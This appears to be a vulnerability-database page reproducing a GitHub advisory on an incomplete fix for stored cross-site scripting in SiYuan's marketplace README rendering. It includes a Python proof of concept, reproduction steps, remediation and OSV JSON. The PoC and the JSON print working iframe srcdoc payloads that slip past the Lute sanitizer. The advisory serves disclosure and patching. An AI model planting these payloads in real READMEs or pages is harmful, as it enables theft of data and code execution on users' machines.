CVE-2026-40922: Github.com/siyuan note/siyuan/kernel Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-8q5w-mmxf-48jg
CVSS 5.4
CWE-79
Published
Advisory Summary

CVE-2026-40922 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Github.com/siyuan note/siyuan/kernel libraries in the Go ecosystem. The issue involves xss. Remediation is available by upgrading affected packages to version 0.0.0-20260414013942-62eed37a3263.

CVE-2026-40922 at a Glance

CVE Identifier CVE-2026-40922
GHSA Identifier GHSA-8q5w-mmxf-48jg
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Github.com/siyuan note/siyuan/kernel
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-40922

To remediate this vulnerability, upgrade all affected Github.com/siyuan note/siyuan/kernel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/siyuan-note/siyuan/kernel fixed: 0.0.0-20260414013942-62eed37a3263
Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260414013942-62eed37a3263
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40922, inspect your project dependencies for Github.com/siyuan note/siyuan/kernel:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

Analyze the terminal output to locate any version of Github.com/siyuan note/siyuan/kernel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260414013942-62eed37a3263), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Github.com/siyuan note/siyuan/kernel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The incomplete fix for SiYuan's bazaar README rendering enables the Lute HTML sanitizer but fails to block `<iframe>` tags, allowing stored XSS via `srcdoc` attributes containing embedded scripts that execute in the Electron context. ### Affected Package - **Ecosystem:** Go - **Package:** github.com/siyuan-note/siyuan - **Affected versions:** < commit b382f50e1880 - **Patched versions:** >= commit b382f50e1880 ### Details The `renderPackageREADME()` function in `kernel/bazaar/readme.go` renders Markdown README content from bazaar (marketplace) packages into HTML. The original vulnerability allowed stored XSS through unsanitized HTML in READMEs. The fix adds `luteEngine.SetSanitize(true)` to enable Lute's built-in HTML sanitizer. However, the Lute sanitizer in `lute/render/sanitizer.go` has a critical gap: 1. `<iframe>` is explicitly commented out of `setOfElementsToSkipContent`, so iframe tags pass through. 2. The `srcdoc` attribute is checked against URL-prefix blocklists (`javascript:`, `data:text/html`), but `srcdoc` contains raw HTML content, not a URL. A value like `<img src=x onerror=alert(1)>` does not start with any blocked prefix. 3. The browser renders `srcdoc` HTML in a nested browsing context, executing embedded scripts and event handlers. The fix correctly blocks direct `<script>` tags, event handler attributes, and `javascript:` protocol links. However: - `<iframe srcdoc="<script>alert(document.domain)</script>">` passes through because iframe is not blocked and the srcdoc value is raw HTML (not a URL scheme). - `<iframe srcdoc="<img src=x onerror=alert(document.cookie)>">` also passes because the event handler is inside the srcdoc string value, not a top-level tag attribute. ### PoC ```python """ CVE-2026-33066 - Incomplete Sanitization in SiYuan Bazaar README Rendering Component: kernel/bazaar/readme.go :: renderPackageREADME() Patch: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428 """ import re import sys from html.parser import HTMLParser ELEMENTS_TO_SKIP_CONTENT = { "frame", "frameset", # "iframe", # NOTE: iframe is commented out in the original Go code! "noembed", "noframes", "noscript", "nostyle", "object", "script", "style", "title", } EVENT_ATTRS = { "onafterprint", "onbeforeprint", "onbeforeunload", "onerror", "onhashchange", "onload", "onmessage", "onoffline", "ononline", "onpagehide", "onpageshow", "onpopstate", "onresize", "onstorage", "onunload", "onblur", "onchange", "oncontextmenu", "onfocus", "oninput", "oninvalid", "onreset", "onsearch", "onselect", "onsubmit", "onkeydown", "onkeypress", "onkeyup", "onclick", "ondblclick", "onmousedown", "onmousemove", "onmouseout", "onmouseover", "onmouseleave", "onmouseenter", "onmouseup", "onmousewheel", "onwheel", "ondrag", "ondragend", "ondragenter", "ondragleave", "ondragover", "ondragstart", "ondrop", "onscroll", "oncopy", "oncut", "onpaste", "onabort", "oncanplay", "oncanplaythrough", "oncuechange", "ondurationchange", "onemptied", "onended", "onloadeddata", "onloadedmetadata", "onloadstart", "onpause", "onplay", "onplaying", "onprogress", "onratechange", "onseeked", "onseeking", "onstalled", "onsuspend", "ontimeupdate", "onvolumechange", "onwaiting", "ontoggle", "onbegin", "onend", "onrepeat", "http-equiv", "formaction", } URL_ATTRS = {"src", "srcdoc", "srcset", "href"} BLOCKED_URL_PREFIXES = ("data:image/svg+xml", "data:text/html", "javascript") SELF_CLOSING_TAGS = {"img", "br", "hr", "input", "meta", "link", "area", "base", "col", "embed", "source", "track", "wbr"} def sanitize_attr_value_for_url(key, val): cleaned = val.lower().strip() cleaned = ''.join(c for c in cleaned if not c.isspace() or c == ' ') for prefix in BLOCKED_URL_PREFIXES: if cleaned.startswith(prefix): return False return True class LuteSanitizer(HTMLParser): def __init__(self): super().__init__(convert_charrefs=False) self.output = [] self.skip_depth = 0 def handle_starttag(self, tag, attrs): tag = tag.lower() if tag in ELEMENTS_TO_SKIP_CONTENT: self.skip_depth += 1 self.output.append(" ") return if self.skip_depth > 0: return sanitized_attrs = [] for key, val in attrs: key = key.lower() if val is None: val = "" if key in EVENT_ATTRS: continue if key in URL_ATTRS: if not sanitize_attr_value_for_url(key, val): continue sanitized_attrs.append((key, val)) parts = ["<" + tag] for key, val in sanitized_attrs: escaped_val = val.replace("&", "&amp;").replace('"', "&quot;") parts.append(f' {key}="{escaped_val}"') if tag in SELF_CLOSING_TAGS: parts.append(" /") parts.append(">") self.output.append("".join(parts)) def handle_endtag(self, tag): tag = tag.lower() if tag in ELEMENTS_TO_SKIP_CONTENT: self.skip_depth -= 1 if self.skip_depth < 0: self.skip_depth = 0 self.output.append(" ") return if self.skip_depth > 0: return self.output.append(f"</{tag}>") def handle_data(self, data): if self.skip_depth > 0: return self.output.append(data) def handle_entityref(self, name): if self.skip_depth > 0: return self.output.append(f"&{name};") def handle_charref(self, name): if self.skip_depth > 0: return self.output.append(f"&#{name};") def handle_comment(self, data): pass def handle_decl(self, decl): pass def get_output(self): return "".join(self.output) def sanitize_html(html_str): sanitizer = LuteSanitizer() sanitizer.feed(html_str) return sanitizer.get_output() def check_xss(html_output): findings = [] srcdoc_match = re.search(r'srcdoc="([^"]*)"', html_output, re.IGNORECASE) if srcdoc_match: import html as html_mod decoded = html_mod.unescape(srcdoc_match.group(1).lower()) if '<script' in decoded: findings.append("iframe srcdoc: embedded <script> tag") if re.search(r'on\w+\s*=', decoded): findings.append("iframe srcdoc: event handler in nested HTML") return findings PAYLOADS = [ '<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>', '<iframe srcdoc="<img src=x onerror=alert(document.cookie)>"></iframe>', ] bypass_found = False for payload in PAYLOADS: fixed_output = sanitize_html(payload) findings = check_xss(fixed_output) if findings: bypass_found = True print(f"BYPASS: {payload[:80]}") for f in findings: print(f" - {f}") if bypass_found: print("\nVULNERABILITY CONFIRMED") sys.exit(0) else: print("\nVULNERABILITY NOT CONFIRMED") sys.exit(1) ``` ```bash python3 poc.py ``` **Steps to reproduce:** 1. `git clone https://github.com/siyuan-note/siyuan /tmp/siyuan_test` 2. `cd /tmp/siyuan_test && git checkout b382f50e1880ed996364509de5a10a72d7409428~1` 3. `python3 poc.py` (or `go run poc.go` if Go PoC) **Expected output:** ``` VULNERABILITY CONFIRMED Iframe tags with srcdoc attributes bypass the Lute sanitizer, allowing embedded scripts to execute in the Electron context. ``` ### Impact A malicious bazaar package author can include `<iframe srcdoc='<script>...</script>'>` in their README.md. When other users view the package in SiYuan's marketplace UI, the XSS executes in the Electron context with full application privileges, enabling data theft, local file access, and arbitrary code execution on the user's machine. ### Suggested Remediation 1. Add `iframe` to the `setOfElementsToSkipContent` set in the Lute sanitizer. 2. If iframes must be preserved, strip the `srcdoc` attribute entirely or sanitize its HTML content recursively. 3. Apply a Content Security Policy (CSP) to the README rendering context. ### References - Incomplete fix commit: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428 - Original CVE: CVE-2026-33066

CVE-2026-40922 Affected Github.com/siyuan note/siyuan/kernel Versions

1 component(s)
Fixed Versions:
0.0.0-20260414013942-62eed37a3263
Product / Package Ecosystem Affected Versions Fixed Version
github.com/siyuan-note/siyuan/kernel
Go
< 0.0.0-20260414013942-62eed37a3263
0.0.0-20260414013942-62eed37a3263

References

Frequently Asked Questions

What is CVE-2026-40922?
CVE-2026-40922 is a security vulnerability in Github.com/siyuan note/siyuan/kernel involving XSS under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Github.com/siyuan note/siyuan/kernel versions are affected?
Affected versions include releases prior to 0.0.0-20260414013942-62eed37a3263 across affected packages: github.com/siyuan-note/siyuan/kernel.
What version fixes CVE-2026-40922?
Upgrading to 0.0.0-20260414013942-62eed37a3263 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/siyuan-note/siyuan/kernel affected?
Yes, github.com/siyuan-note/siyuan/kernel is affected in releases prior to 0.0.0-20260414013942-62eed37a3263. Upgrade your dependency to 0.0.0-20260414013942-62eed37a3263 or later.
What is the CVSS score of CVE-2026-40922?
CVE-2026-40922 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-40922?
CVE-2026-40922 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Go dependencies for CVE-2026-40922?
Run the dependency tree command: 'inspect dependencies for github.com/siyuan-note/siyuan/kernel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8q5w-mmxf-48jg",
  "modified" : "2026-04-24T20:30:46Z",
  "published" : "2026-04-14T23:12:18Z",
  "aliases" : [ "CVE-2026-40922" ],
  "summary" : "SiYuan has incomplete fix for CVE-2026-33066: XSS",
  "details" : "### Summary\n\nThe incomplete fix for SiYuan's bazaar README rendering enables the Lute HTML sanitizer but fails to block `<iframe>` tags, allowing stored XSS via `srcdoc` attributes containing embedded scripts that execute in the Electron context.\n\n### Affected Package\n\n- **Ecosystem:** Go\n- **Package:** github.com/siyuan-note/siyuan\n- **Affected versions:** < commit b382f50e1880\n- **Patched versions:** >= commit b382f50e1880\n\n### Details\n\nThe `renderPackageREADME()` function in `kernel/bazaar/readme.go` renders Markdown README content from bazaar (marketplace) packages into HTML. The original vulnerability allowed stored XSS through unsanitized HTML in READMEs. The fix adds `luteEngine.SetSanitize(true)` to enable Lute's built-in HTML sanitizer.\n\nHowever, the Lute sanitizer in `lute/render/sanitizer.go` has a critical gap:\n1. `<iframe>` is explicitly commented out of `setOfElementsToSkipContent`, so iframe tags pass through.\n2. The `srcdoc` attribute is checked against URL-prefix blocklists (`javascript:`, `data:text/html`), but `srcdoc` contains raw HTML content, not a URL. A value like `<img src=x onerror=alert(1)>` does not start with any blocked prefix.\n3. The browser renders `srcdoc` HTML in a nested browsing context, executing embedded scripts and event handlers.\n\nThe fix correctly blocks direct `<script>` tags, event handler attributes, and `javascript:` protocol links. However:\n\n- `<iframe srcdoc=\"<script>alert(document.domain)</script>\">` passes through because iframe is not blocked and the srcdoc value is raw HTML (not a URL scheme).\n- `<iframe srcdoc=\"<img src=x onerror=alert(document.cookie)>\">` also passes because the event handler is inside the srcdoc string value, not a top-level tag attribute.\n\n### PoC\n\n```python\n\"\"\"\nCVE-2026-33066 - Incomplete Sanitization in SiYuan Bazaar README Rendering\n\nComponent: kernel/bazaar/readme.go :: renderPackageREADME()\nPatch: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428\n\"\"\"\n\nimport re\nimport sys\nfrom html.parser import HTMLParser\n\nELEMENTS_TO_SKIP_CONTENT = {\n    \"frame\", \"frameset\",\n    # \"iframe\",  # NOTE: iframe is commented out in the original Go code!\n    \"noembed\", \"noframes\", \"noscript\", \"nostyle\",\n    \"object\", \"script\", \"style\", \"title\",\n}\n\nEVENT_ATTRS = {\n    \"onafterprint\", \"onbeforeprint\", \"onbeforeunload\", \"onerror\",\n    \"onhashchange\", \"onload\", \"onmessage\", \"onoffline\", \"ononline\",\n    \"onpagehide\", \"onpageshow\", \"onpopstate\", \"onresize\", \"onstorage\",\n    \"onunload\", \"onblur\", \"onchange\", \"oncontextmenu\", \"onfocus\",\n    \"oninput\", \"oninvalid\", \"onreset\", \"onsearch\", \"onselect\",\n    \"onsubmit\", \"onkeydown\", \"onkeypress\", \"onkeyup\", \"onclick\",\n    \"ondblclick\", \"onmousedown\", \"onmousemove\", \"onmouseout\",\n    \"onmouseover\", \"onmouseleave\", \"onmouseenter\", \"onmouseup\",\n    \"onmousewheel\", \"onwheel\", \"ondrag\", \"ondragend\", \"ondragenter\",\n    \"ondragleave\", \"ondragover\", \"ondragstart\", \"ondrop\", \"onscroll\",\n    \"oncopy\", \"oncut\", \"onpaste\", \"onabort\", \"oncanplay\",\n    \"oncanplaythrough\", \"oncuechange\", \"ondurationchange\", \"onemptied\",\n    \"onended\", \"onloadeddata\", \"onloadedmetadata\", \"onloadstart\",\n    \"onpause\", \"onplay\", \"onplaying\", \"onprogress\", \"onratechange\",\n    \"onseeked\", \"onseeking\", \"onstalled\", \"onsuspend\", \"ontimeupdate\",\n    \"onvolumechange\", \"onwaiting\", \"ontoggle\", \"onbegin\", \"onend\",\n    \"onrepeat\", \"http-equiv\", \"formaction\",\n}\n\nURL_ATTRS = {\"src\", \"srcdoc\", \"srcset\", \"href\"}\nBLOCKED_URL_PREFIXES = (\"data:image/svg+xml\", \"data:text/html\", \"javascript\")\nSELF_CLOSING_TAGS = {\"img\", \"br\", \"hr\", \"input\", \"meta\", \"link\", \"area\",\n                      \"base\", \"col\", \"embed\", \"source\", \"track\", \"wbr\"}\n\n\ndef sanitize_attr_value_for_url(key, val):\n    cleaned = val.lower().strip()\n    cleaned = ''.join(c for c in cleaned if not c.isspace() or c == ' ')\n    for prefix in BLOCKED_URL_PREFIXES:\n        if cleaned.startswith(prefix):\n            return False\n    return True\n\n\nclass LuteSanitizer(HTMLParser):\n    def __init__(self):\n        super().__init__(convert_charrefs=False)\n        self.output = []\n        self.skip_depth = 0\n\n    def handle_starttag(self, tag, attrs):\n        tag = tag.lower()\n        if tag in ELEMENTS_TO_SKIP_CONTENT:\n            self.skip_depth += 1\n            self.output.append(\" \")\n            return\n        if self.skip_depth > 0:\n            return\n        sanitized_attrs = []\n        for key, val in attrs:\n            key = key.lower()\n            if val is None: val = \"\"\n            if key in EVENT_ATTRS: continue\n            if key in URL_ATTRS:\n                if not sanitize_attr_value_for_url(key, val): continue\n            sanitized_attrs.append((key, val))\n        parts = [\"<\" + tag]\n        for key, val in sanitized_attrs:\n            escaped_val = val.replace(\"&\", \"&amp;\").replace('\"', \"&quot;\")\n            parts.append(f' {key}=\"{escaped_val}\"')\n        if tag in SELF_CLOSING_TAGS: parts.append(\" /\")\n        parts.append(\">\")\n        self.output.append(\"\".join(parts))\n\n    def handle_endtag(self, tag):\n        tag = tag.lower()\n        if tag in ELEMENTS_TO_SKIP_CONTENT:\n            self.skip_depth -= 1\n            if self.skip_depth < 0: self.skip_depth = 0\n            self.output.append(\" \")\n            return\n        if self.skip_depth > 0: return\n        self.output.append(f\"</{tag}>\")\n\n    def handle_data(self, data):\n        if self.skip_depth > 0: return\n        self.output.append(data)\n\n    def handle_entityref(self, name):\n        if self.skip_depth > 0: return\n        self.output.append(f\"&{name};\")\n\n    def handle_charref(self, name):\n        if self.skip_depth > 0: return\n        self.output.append(f\"&#{name};\")\n\n    def handle_comment(self, data): pass\n    def handle_decl(self, decl): pass\n\n    def get_output(self): return \"\".join(self.output)\n\n\ndef sanitize_html(html_str):\n    sanitizer = LuteSanitizer()\n    sanitizer.feed(html_str)\n    return sanitizer.get_output()\n\n\ndef check_xss(html_output):\n    findings = []\n    srcdoc_match = re.search(r'srcdoc=\"([^\"]*)\"', html_output, re.IGNORECASE)\n    if srcdoc_match:\n        import html as html_mod\n        decoded = html_mod.unescape(srcdoc_match.group(1).lower())\n        if '<script' in decoded:\n            findings.append(\"iframe srcdoc: embedded <script> tag\")\n        if re.search(r'on\\w+\\s*=', decoded):\n            findings.append(\"iframe srcdoc: event handler in nested HTML\")\n    return findings\n\n\nPAYLOADS = [\n    '<iframe srcdoc=\"<script>alert(document.domain)</script>\"></iframe>',\n    '<iframe srcdoc=\"<img src=x onerror=alert(document.cookie)>\"></iframe>',\n]\n\nbypass_found = False\nfor payload in PAYLOADS:\n    fixed_output = sanitize_html(payload)\n    findings = check_xss(fixed_output)\n    if findings:\n        bypass_found = True\n        print(f\"BYPASS: {payload[:80]}\")\n        for f in findings:\n            print(f\"  - {f}\")\n\nif bypass_found:\n    print(\"\\nVULNERABILITY CONFIRMED\")\n    sys.exit(0)\nelse:\n    print(\"\\nVULNERABILITY NOT CONFIRMED\")\n    sys.exit(1)\n```\n\n```bash\npython3 poc.py\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/siyuan-note/siyuan /tmp/siyuan_test`\n2. `cd /tmp/siyuan_test && git checkout b382f50e1880ed996364509de5a10a72d7409428~1`\n3. `python3 poc.py`  (or `go run poc.go` if Go PoC)\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nIframe tags with srcdoc attributes bypass the Lute sanitizer, allowing embedded scripts to execute in the Electron context.\n```\n\n### Impact\n\nA malicious bazaar package author can include `<iframe srcdoc='<script>...</script>'>` in their README.md. When other users view the package in SiYuan's marketplace UI, the XSS executes in the Electron context with full application privileges, enabling data theft, local file access, and arbitrary code execution on the user's machine.\n\n### Suggested Remediation\n\n1. Add `iframe` to the `setOfElementsToSkipContent` set in the Lute sanitizer.\n2. If iframes must be preserved, strip the `srcdoc` attribute entirely or sanitize its HTML content recursively.\n3. Apply a Content Security Policy (CSP) to the README rendering context.\n\n### References\n\n- Incomplete fix commit: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428\n- Original CVE: CVE-2026-33066",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260414013942-62eed37a3263"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-8q5w-mmxf-48jg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33066"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40922"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-4663-4mpg-879v"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T23:12:18Z",
    "nvd_published_at" : "2026-04-17T01:17:40Z"
  }
}